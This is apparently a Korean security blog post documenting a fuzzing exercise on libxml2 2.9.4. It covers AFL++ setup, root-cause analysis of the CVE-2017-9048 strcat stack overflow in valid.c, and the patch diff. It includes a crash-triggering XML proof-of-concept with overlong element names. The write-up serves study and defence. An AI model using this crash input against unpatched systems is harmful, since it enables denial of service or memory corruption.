반응형
Recent Posts
Recent Comments
Link
«   2024/07   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

ZZoMb1E_PWN

[Fuzzing 101] LibXML2 (CVE-2017-9048) 본문

STUDY/CVE && Fuzzing

[Fuzzing 101] LibXML2 (CVE-2017-9048)

ZZoMb1E 2024. 6. 3. 12:49
728x90
반응형

 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다. 

※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다.
 

1. 분석대상


LibXML2란?

XML 문서를 구문 분석하기 위한 소프트웨어 라이브러리로 XML 파싱과 조작하는 명령을 지원한다.

XML 파싱 조작 - XML 문서를 로드하여 처리

XPath 지원 - XML 문서 내의 노드를 탐색하고 선택하는데 사용되는 언어

XSLT 변환 - XML 문서를 다른 형식으로 변환하는데 사용되는 언어

DTD.Relax NG, XSD 검증 - XML 스키마 언어를 이용한 문서 검증 기능

다국어 인코딩 지원

 

 

2. CVE Code


 

CVE-2017-9048

valid.c:xmlSnprintfElementContent() 요소 콘텐츠 정의를 크기 문자 퍼로 재귀적으로 덤프하고, 루틴이 끝날 함수는 strlen(buf) + 2 < size 확인하지 않고 개의 문자를 strcat 있게 되는데 여기서 스택 기반 버퍼 오버플로우가 발생하게 된다.

 

CWE-119

버퍼의 경계 밖에 있는 메모리 위치에 값을 읽거나 있는 취약점으로 공격자가 임의의 실행하거나, 제어 흐름 변경, 민간한 정보를 읽는 등으로 이어질 있다.


 

3. CVE 관련 정보


https://nvd.nist.gov/vuln/detail/CVE-2017-9048

 

NVD - CVE-2017-9048

CVE-2017-9048 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description libxml2 20904-GITv2.9.4-16-g0741801 is vulnerab

nvd.nist.gov

 

 

4. 분석  환경 및 구현


분석 환경 : Ubuntu 20.04
Target 버젼 : libxml2-2.9.4 
 

실습을 위한 설치 과정


 
실습할 디렉터리 경로 생성

cd $HOME
mkdir Fuzzing_libxml2 && cd Fuzzing_libxml2

  
Libtxml2-2.9.4 버젼 설치 과정

wget http://xmlsoft.org/download/libxml2-2.9.4.tar.gz
tar xvf libxml2-2.9.4.tar.gz && cd libxml2-2.9.4/
CC=afl-clang-lto CXX=afl-clang-lto++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix="$HOME/fuzzing_libxml2/install" --disable-shared --without-debug --without-ftp --without-http --without-legacy --without-python LIBS='-ldl' --host=x86_64
make -j$(nproc)
make install

 

씨앗 코퍼스 생성 및 사용자 지정 사전 설정

mkdir afl_in && cd afl_in
wget https://raw.githubusercontent.com/antonio-morales/Fuzzing101/main/Exercise%205/SampleInput.xml
cd ..

mkdir dictionaries && cd dictionaries
wget https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/stable/dictionaries/xml.dict
cd ..

여기서 마스터 인스턴스, 슬레이브 인스턴스라는 개념이 사용된다.

 

AFL-딕셔너리

복잡한 테스트 기반 파일 형식을 퍼징하고 싶을 , 퍼저에 기본 구문 토큰 목록이 포함된 사전을 제공하는 것이 유용하다. 이때 AFL에서 사전의 값을 재정의/삽입 과정을수행하게 된다.

 

AFL-병렬화

독립적인 사례로, afl-fuzz 완전히 분리된 인스턴스를 제공한다.

AFL에서는 비결론적 테스트 알고리즘을 사용하기 때문에 많은 인스턴스를 실행할 수 성공 확률이 높아지게 된다.

 

공유 인스턴스

인스턴스가 다른 인스턴스에서 찾은 테스트 케이스를 수집하여 사용하게 된다.

AFL 옵션을 이용하여 마스터와 슬레이브 인스턴스를 구분할 있다.

 

 

 


fuzzer 수행

 

마스터 인스턴스 퍼징

afl-fuzz -m none -i ./afl_in -o afl_out -s 123 -x ./dictionaries/xml.dict -D -M master -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@

 

슬레이브 인스턴스 퍼징

afl-fuzz -m none -i ./afl_in -o afl_out -s 234 -S slave1 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@

 

-i : 입력에 사용할 예제의 디렉터리 경로를 설정

-o : AFL++ 결과를 저장할 디렉터리 경로 설정 옵션

-s : 무작위 정적 시드를 사용

-m : 메모리 제한을 설정

@@ : 입력 파일 이름으로 대체할 대상 표시

-M : 마스터 인스턴스

-S : 슬레이브 인스턴스

-x : 퍼징에 사용할 사전 파일 제공

-D : 디버깅 몯로 실행

 

libxml2 옵션

--memory : 메모리에 파일을 읽도록 지시

--noenc :CDATA 섹션을 테스트 노드로 변환

--nocdata : CDATA 섹션을 텍스트 노드로 변환하도록 지시

afl-fuzz -m none -i ./afl_in -o afl_out -s 123 -x ./

dictionaries/xml.dict -D -M master -- ./xmllint --memory --

noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@

afl-fuzz -m none -i ./afl_in -o afl_out -s 234 -S slave1

-- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd

--valid --xinclude @@--dtdattr : DTD에서 속성을 가져오도록 지시

--loaddtd : DTD 로드하도록 지시

--valid : DTD 정의된 유효성 요건을 충족하는지 확인

--xinclude : Include 처리를 수행하도록 지시


 

 
 

퍼징을 마스터 1개와 슬레이브 3개를 사용하여 수행하였다.

 

 

5. 루크 커즈 분석


crash 파일을 인자로 limxml2 실행하게 되면 분석을 있다.

./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude ../../crash.xml

 

 


 

분석



BackTrace 부분을 살펴보면  _start() → __libc_start_main() → main() → parseAndPrintFile() → xmlDoRead() → xmlParseDocument() → xmlParseElement() → xmlValidateElementContent() → xmlSnprintfElementContent() → strcat()  순으로 호출되는 것을 확인할 수 있다.

 

 

코드 분석


xmllint.c:main()

#ifdef LIBXML_READER_ENABLED
		if (stream != 0)
		    streamFile(argv[i]);
		else
#endif /* LIBXML_READER_ENABLED */
                if (sax) {
		    testSAX(argv[i]);
		} else {
		    parseAndPrintFile(argv[i], NULL);
		}

                if ((chkregister) && (nbregister != 0)) {
		    fprintf(stderr, "Registration count off: %d\n", nbregister);
		    progresult = XMLLINT_ERR_RDREGIS;
		}
	    }
	    files ++;
	    if ((timing) && (repeat)) {
		endTimer("%d iterations", repeat);
	    }
	}
    }

parseAndPrintFile(char *filename, xmlParserCtxtPtr rectxt) 이와 같이 정의가 되어 있으므로 argv[i] 해당하는 값은 filename이다.

 

 

xmllint.c:parseAndPrintFile()

if (f != NULL) {
		    if (rectxt == NULL)
			doc = xmlReadIO((xmlInputReadCallback) myRead,
					(xmlInputCloseCallback) myClose, f,
					filename, NULL, options);
		    else
			doc = xmlCtxtReadIO(rectxt,
			                (xmlInputReadCallback) myRead,
					(xmlInputCloseCallback) myClose, f,
					filename, NULL, options);
		} else
		    doc = NULL;
	    }

...

if (rectxt == NULL)
		doc = xmlReadMemory((char *) base, info.st_size,
		                    filename, NULL, options);
	    else
		doc = xmlCtxtReadMemory(rectxt, (char *) base, info.st_size,
			                filename, NULL, options);

	    munmap((char *) base, info.st_size);
	    close(fd);

 

rectxt == NULL 경우 아직 파싱 대상을 가리키지 않는 상태이기 때문에 xmlReadMemory() 실행한다.

 

parser.c:xmlReadMemory()

xmlDocPtr
xmlReadMemory(const char *buffer, int size, const char *URL, const char *encoding, int options)
{
    xmlParserCtxtPtr ctxt;

    xmlInitParser();
    ctxt = xmlCreateMemoryParserCtxt(buffer, size);
    if (ctxt == NULL)
        return (NULL);
    return (xmlDoRead(ctxt, URL, encoding, options, 0));
}

xmlDoRead() 실행한다.

 

parser.c:xmlDoRead()

static xmlDocPtr
xmlDoRead(xmlParserCtxtPtr ctxt, const char *URL, const char *encoding,
          int options, int reuse)
{
    xmlDocPtr ret;

    xmlCtxtUseOptionsInternal(ctxt, options, encoding);
    if (encoding != NULL) {
        xmlCharEncodingHandlerPtr hdlr;

	hdlr = xmlFindCharEncodingHandler(encoding);
	if (hdlr != NULL)
	    xmlSwitchToEncoding(ctxt, hdlr);
    }
    if ((URL != NULL) && (ctxt->input != NULL) &&
        (ctxt->input->filename == NULL))
        ctxt->input->filename = (char *) xmlStrdup((const xmlChar *) URL);
    xmlParseDocument(ctxt);
    if ((ctxt->wellFormed) || ctxt->recovery)
        ret = ctxt->myDoc;
    else {
        ret = NULL;
	if (ctxt->myDoc != NULL) {
	    xmlFreeDoc(ctxt->myDoc);
	}
    }
    ctxt->myDoc = NULL;
    if (!reuse) {
	xmlFreeParserCtxt(ctxt);
    }

    return (ret);
}

 

인코딩 되어있는 핸들러를 검색 인코딩 값이 정상인 경우 xmlParseDocument()를 호출한다.

 

parser.c:xmlParseDocument()

/*
     * Time to start parsing the tree itself
     */
    GROW;
    if (RAW != '<') {
	xmlFatalErrMsg(ctxt, XML_ERR_DOCUMENT_EMPTY,
		       "Start tag expected, '<' not found\n");
    } else {
	ctxt->instate = XML_PARSER_CONTENT;
	xmlParseElement(ctxt);
	ctxt->instate = XML_PARSER_EPILOG;

Tag 있는지 없는지 검사를 수행 정상 데이터일 경우 xmlParseElement()호출하여 내용 읽기를 시도한다.

 

parser.c:xmlParseElement()

/*
     * Check for an Empty Element.
     */
    if ((RAW == '/') && (NXT(1) == '>')) {
        SKIP(2);
	if (ctxt->sax2) {
	    if ((ctxt->sax != NULL) && (ctxt->sax->endElementNs != NULL) &&
		(!ctxt->disableSAX))
		ctxt->sax->endElementNs(ctxt->userData, name, prefix, URI);
#ifdef LIBXML_SAX1_ENABLED
	} else {
	    if ((ctxt->sax != NULL) && (ctxt->sax->endElement != NULL) &&
		(!ctxt->disableSAX))
		ctxt->sax->endElement(ctxt->userData, name);
#endif /* LIBXML_SAX1_ENABLED */
	}

XML Tag 마지막인지 확인 마지막 문자가 아닌 경우 SAX2 모드가 활성화 되어있는지를 확인한다. SAX 핸들러가 설정되어 있고 핸들러가 존재하면 해당 핸들러를 호출 후 사용자 데이터, Tag 등의 정보를 전달한다.

SAX Simple Api for XML 약자로, XML 문서를 순차적으로 읽어 처리하는 벤트 기반의 API이다. 문서를 번만 읽으며 처리하기 때문에 대용량 문서 처리에 유용하며 메모리 사용량이 적다.

 

 

SAX2.c:xmlSAX2EndElementNs()

hdlr->endElementNs = xmlSAX2EndElementNs;

...

void
xmlSAX2EndElementNs(void *ctx,
                    const xmlChar * localname ATTRIBUTE_UNUSED,
                    const xmlChar * prefix ATTRIBUTE_UNUSED,
		    const xmlChar * URI ATTRIBUTE_UNUSED)
{
    xmlParserCtxtPtr ctxt = (xmlParserCtxtPtr) ctx;
    xmlParserNodeInfo node_info;
    xmlNodePtr cur;

    if (ctx == NULL) return;
    cur = ctxt->node;
    /* Capture end position and add node */
    if ((ctxt->record_info) && (cur != NULL)) {
        node_info.end_pos = ctxt->input->cur - ctxt->input->base;
        node_info.end_line = ctxt->input->line;
        node_info.node = cur;
        xmlParserAddNodeInfo(ctxt, &node_info);
    }
    ctxt->nodemem = -1;

#ifdef LIBXML_VALID_ENABLED
    if (ctxt->validate && ctxt->wellFormed &&
        ctxt->myDoc && ctxt->myDoc->intSubset)
        ctxt->valid &= xmlValidateOneElement(&ctxt->vctxt, ctxt->myDoc, cur);
#endif /* LIBXML_VALID_ENABLED */

    /*
     * end of parsing of this node.
     */
    nodePop(ctxt);
}

hdr->endElementNs에는 xmlSAX2EndElementNs() 들어있다.

END Tag 만났을 필요한 작업을 처리하고 유효성 검사를 수행한다.

이후 xmlValidateOneElement() 실행한다.

 

 

valid.c:xmlValidateOneElement()

child_ok:
	        child = child->next;
	    }
	    break;
        case XML_ELEMENT_TYPE_ELEMENT:
	    if ((doc->standalone == 1) && (extsubset == 1)) {
		/*
		 * VC: Standalone Document Declaration
		 *     - element types with element content, if white space
		 *       occurs directly within any instance of those types.
		 */
		child = elem->children;
		while (child != NULL) {
		    if (child->type == XML_TEXT_NODE) {
			const xmlChar *content = child->content;

			while (IS_BLANK_CH(*content))
			    content++;
			if (*content == 0) {
			    xmlErrValidNode(ctxt, elem,
			                    XML_DTD_STANDALONE_WHITE_SPACE,
"standalone: %s declared in the external subset contains white spaces nodes\n",
				   elem->name, NULL, NULL);
			    ret = 0;
			    break;
			}
		    }
		    child =child->next;
		}
	    }
	    child = elem->children;
	    cont = elemDecl->content;
	    tmp = xmlValidateElementContent(ctxt, child, elemDecl, 1, elem);
	    if (tmp <= 0)
		ret = tmp;
	    break;
    }
    } /* not continuous */

TEXT_NODE 검사를 수행한다.

 

 

valid.c:xmlValidateElementContent()

#endif /* LIBXML_REGEXP_ENABLED */
    if ((warn) && ((ret != 1) && (ret != -3))) {
	if (ctxt != NULL) {
	    char expr[5000];
	    char list[5000];

	    expr[0] = 0;
	    xmlSnprintfElementContent(&expr[0], 5000, cont, 1);
	    list[0] = 0;
#ifndef LIBXML_REGEXP_ENABLED
	    if (repl != NULL)
		xmlSnprintfElements(&list[0], 5000, repl, 1);
	    else
#endif /* LIBXML_REGEXP_ENABLED */
		xmlSnprintfElements(&list[0], 5000, child, 1);

	    if (name != NULL) {
		xmlErrValidNode(ctxt, parent, XML_DTD_CONTENT_MODEL,
	   "Element %s content does not follow the DTD, expecting %s, got %s\n",
		       name, BAD_CAST expr, BAD_CAST list);
	    } else {
		xmlErrValidNode(ctxt, parent, XML_DTD_CONTENT_MODEL,
	   "Element content does not follow the DTD, expecting %s, got %s\n",
		       BAD_CAST expr, BAD_CAST list, NULL);
	    }
	}

요소 속성 검사를 수행하는 코드이다.

 

valid.c:xmlSnprintfElementContent()

switch (content->type) {
        case XML_ELEMENT_CONTENT_PCDATA:
            strcat(buf, "#PCDATA");
	    break;
	case XML_ELEMENT_CONTENT_ELEMENT:
	    if (content->prefix != NULL) {
		if (size - len < xmlStrlen(content->prefix) + 10) {
		    strcat(buf, " ...");
		    return;
		}
		strcat(buf, (char *) content->prefix);
		strcat(buf, ":");
	    }
	    if (size - len < xmlStrlen(content->name) + 10) {
		strcat(buf, " ...");
		return;
	    }
	    if (content->name != NULL)
		strcat(buf, (char *) content->name);
	    break;

 

요소의 콘텐츠 구성 방법에 따른 적절한 처리 작업을 수행한다.

이때 콘텐츠 구성은 아래와 같다.

XML_ELEMENT_CONTENT_ELEMENT : 요소의 콘텐츠가 다른 요소로 구성이 되어있는지에 대한 정의

XML_ELEMENT_CONTENT_SEQ : 순차적으로 요소의 콘텐츠가 구성되어 있다는 것을 의미

XML_ELEMENT_CONTENT_PCDATA : 요소의 콘텐츠가 PCDSTS 구성되어 있다는 것을 의미

XML_ELEMENT_CONTENT_OR : or 연산자로 구분된 여러 선택 사항들로 구성되어 있는 것을 의미

 

여기서 strcat(buf, (char *) content->prefix);이라는 함수가 있는데,

쳐졌을 때의 문자열 길이에 대한 검증이 존재하지 않기 때문에 취약점이 발생하게 된다.

 


 

crash.xml 파일 구조

<?xml version="1.0"?>
<!DOCTYPE a [
<!ELEMENT a (pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp:llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll)>
]>
<a/>

 

 

strcat 인자로 들어가는 buf content->prefix 값을 확인해보겠다.

buf content->name 값을 가지고 있다.

이를 함수 호출할 사용되는 인자로 확인해보면 다음과 같다.

 

content->prefix 크기는 4000, content->name 크기는 2000 것을 인할 있다.

 

이제 buf라는 변수에 할당된 크기를 살펴보겠다.

char expr[5000];
char list[5000];

expr[0] = 0;
xmlSnprintfElementContent(&expr[0], 5000, cont, 1);

 

expr 문자열이 buf이기 때문에 5000 크기를 가지는 것을 확인할 있다.

case XML_ELEMENT_CONTENT_ELEMENT:
	    if (content->prefix != NULL) {
		if (size - len < xmlStrlen(content->prefix) + 10) {
		    strcat(buf, " ...");
		    return;
		}
		strcat(buf, (char *) content->prefix);
		strcat(buf, ":");
	    }
	    if (size - len < xmlStrlen(content->name) + 10) {
		strcat(buf, " ...");
		return;
	    }
	    if (content->name != NULL)
		strcat(buf, (char *) content->name);
	    break;

 

변수에 대한 길이를 검사하는 코드가 존재한다.

 

여기서 문제는 strcat() 이후의 길이는 검증하지 않고 이전에 합쳐지는 인자들의 길이만 검사를 수행한다는 것이다.

코드에서 사용된 xmlStrlen() 구현 코드를 보면 일반적인 strlen() 유사한 기능을 수행한다.

 

xmlstring.c:xmlStrlen()

int
xmlStrlen(const xmlChar *str) {
    int len = 0;

    if (str == NULL) return(0);
    while (*str != 0) { /* non input consuming */
        str++;
        len++;
    }
    return(len);
}

content->name, content->prefix 병합하기 전에 크기 검사를 수행하고 대한 조건을 만족시킨다면 이후 strcat() 수행한다. 이때 합쳐진 문자열의 길이에 대한 검증이 없기 때문에 cwe-119 취약점이 발생하게 된다.

 

 

 

6. 패치 파악


패치된 버젼과의 비교를 수행했다.

case XML_ELEMENT_CONTENT_ELEMENT:
	    if (content->prefix != NULL) {
		if (size - len < xmlStrlen(content->prefix) + 10) {
		    strcat(buf, " ...");
		    return;
		}
		strcat(buf, (char *) content->prefix);
		strcat(buf, ":");
	    }
	    if (size - len < xmlStrlen(content->name) + 10) {
		strcat(buf, " ...");
		return;
	    }
	    if (content->name != NULL)
		strcat(buf, (char *) content->name);
	    break;

strcat()이전의 인자들에 대해서만 길이 검증을 수행했었다.

 

case XML_ELEMENT_CONTENT_ELEMENT: {
            int qnameLen = xmlStrlen(content->name);

	    if (content->prefix != NULL)
                qnameLen += xmlStrlen(content->prefix) + 1;
	    if (size - len < qnameLen + 10) {
		strcat(buf, " ...");
		return;
	    }
	    if (content->prefix != NULL) {
		strcat(buf, (char *) content->prefix);
		strcat(buf, ":");
	    }
	    if (content->name != NULL)
		strcat(buf, (char *) content->name);
	    break;
        }

이후에는 qnamelen이라는 변수를 활용하여 strcat()했을 때의 길이를 계산하여 검증을 수행하게 된다. 이를 통해 buf 크기인 5000 넘어가는 것을 예방할 있기 때문에 cwe-119 취약점을 예방할 있다.

 

 


 

728x90
반응형